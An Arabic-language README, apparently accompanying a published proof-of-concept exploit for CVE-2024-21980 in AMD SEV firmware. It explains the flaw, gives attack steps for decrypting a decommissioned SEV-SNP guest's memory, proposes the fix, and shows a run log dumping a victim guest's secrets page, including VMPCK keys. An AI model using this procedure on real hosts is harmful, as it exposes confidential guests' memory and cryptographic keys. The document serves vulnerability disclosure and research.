
استغلال لـ CVE-2024-21980 يستهدف برامج AMD SEV الثابتة لفك تشفير الذاكرة العشوائية للضيوف SEV-SNP المسرحين عبر تجاوز تطبيق المخزن المؤقت للأوامر.
يحتوي هذا المستودع على استغلال لثغرة في البرنامج الثابت لـ SEV. يسمح الاستغلال بفك تشفير ذاكرة عشوائية لضيف SEV-SNP بعد إلغاء تكليفه.
تم اختباره على الإصدار 1.55.16 (الأحدث وقت كتابة هذا التقرير).
يحتوي البرنامج الثابت لـ SEV على جدول يُسمى master_handler_table يحتوي على مؤشرات دالة لجميع الأوامر مع عدد قليل من الخصائص الإضافية ذات الصلة بالأوامر. اثنتان من تلك الخصائص الإضافية هما cmd_buf_type وsnp_cmd_buf_enforcement. يحدد cmd_buf_type ما إذا كان يجب نسخ المخزن المؤقت للأوامر من وإلى ذاكرة المضيف. يحدد snp_cmd_buf_enforcement ما إذا كانت عمليات النسخ هذه يجب أن تخضع لفحوصات تتحقق من أن الذاكرة الداعمة للمخزن المؤقت للأوامر في حالة FIRMWARE أو DEFAULT. يجب أن تكون جميع الأوامر التي يكون cmd_buf_type فيها إما CMD_BUF_OUTPUT_ONLY أو CMD_BUF_INPUT_AND_OUTPUT أو CMD_BUF_INPUT_AND_OUTPUT_ERROR قد تم تعيين snp_cmd_buf_enforcement لها على true. وإلا فإن إعادة كتابة مخرجات الأمر قد تسبب تلفًا في الذاكرة داخل المنطقة المغطاة بـ RMP. snp_cmd_buf_enforcement يكون true لجميع هذه الأوامر باستثناء واحد - SEV_MCMD_ID_ATTESTATION: هذا الأمر لديه cmd_buf_type مضبوطًا على CMD_BUF_INPUT_AND_OUTPUT_ERROR، ولكن أيضًا لديه snp_cmd_buf_enforcement مضبوطًا على false. ونتيجة لذلك، من الممكن تنفيذ SEV_MCMD_ID_ATTESTATION مع مخزن مؤقت للأوامر يشير إلى ذاكرة مغطاة بـ RMP، وتتلف هذه الذاكرة بمجرد كتابة المخرجات مرة أخرى.
لا أرى لماذا يحتاج SEV_MCMD_ID_ATTESTATION أن يكون استثناءً، يبدو لي معقولاً أن هذا قد يكون خطأ مطبعي/نسخ-لصق.
يكتب SEV_MCMD_ID_ATTESTATION فقط في حقل واحد length (4 بايت) في المخزن المؤقت للأوامر، وبالتالي فهذه هي البايتات الوحيدة التي يمكننا استخدامها لتلف الذاكرة. يكتب SEV_MCMD_ID_ATTESTATION نفس القيمة دائمًا - 0x000000d0. لحسن الحظ، لا توجد متطلبات محاذاة للمخزن المؤقت للأوامر، وبالتالي يمكننا إزاحة المخزن المؤقت للأوامر بشكل متكرر لتلف نطاق أكبر من الذاكرة المتجاورة. سنستخدم هذا لتلف أول 16 بايت من صفحة سياق الضيف بنمط ثابت. تحتوي أول 16 بايت على بذرة مفتاح UMC، وبالتالي بإجبارها على قيمة ثابتة، يمكننا إجبار مفتاح تشفير الضيف على قيمة ثابتة.
الاستغلال المقدم هنا يعتمد بشكل كبير على الاستغلال الذي قدمته لـ SWPSIRT-2684/CVE-2023-31355.
لاستغلال الثغرة، يمكننا تنفيذ الخطوات التالية:
SEV_MCMD_ID_ATTESTATION. احتفظ بهذا الضيف قيد التشغيل.0x2000 للضيف الضحية. أي عنوان آخر في المنطقة المغطاة بـ RMP سيفي بالغرض، على الرغم من أن عنوانًا ثابتًا مفيد لتصحيح الأخطاء.0x2000 للضيف المهاجم. يجب أن يكون هذا نفس العنوان المستخدم في الخطوة 1.SNP_DBG_ENCRYPT لفك تشفير ذاكرة الضيف الضحية باستخدام صفحة سياق الضيف المهاجم. سينجح ذلك لأن الضيف الضحية والضيف المهاجم يتشاركان بذرة مفتاح UMC.يجب أن يكون التأثير هنا على الأقل نفس تأثير SWPSIRT-2684. غير واضح لي في هذا الوقت ما إذا كان يمكن استخدام هذا الخلل لفك تشفير ذاكرة ضيف قيد التشغيل قبل إلغاء تكليفه.
يجب تعيين snp_cmd_buf_enforcement إلى true لـ SEV_MCMD_ID_ATTESTATION.
من المثير للاهتمام أن تصحيحات دعم مضيف Linux KVM لا تحتاج إلى تحديثات لأنها تدرج بالفعل SEV_CMD_ATTESTATION_REPORT في sev_cmd_buf_writable كأمر يتطلب أن يكون المخزن المؤقت للأوامر في حالة FIRMWARE. قد تكون هناك حاجة لتغييرات أو لا قد تكون لمشغلات الافتراضية الأخرى.
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200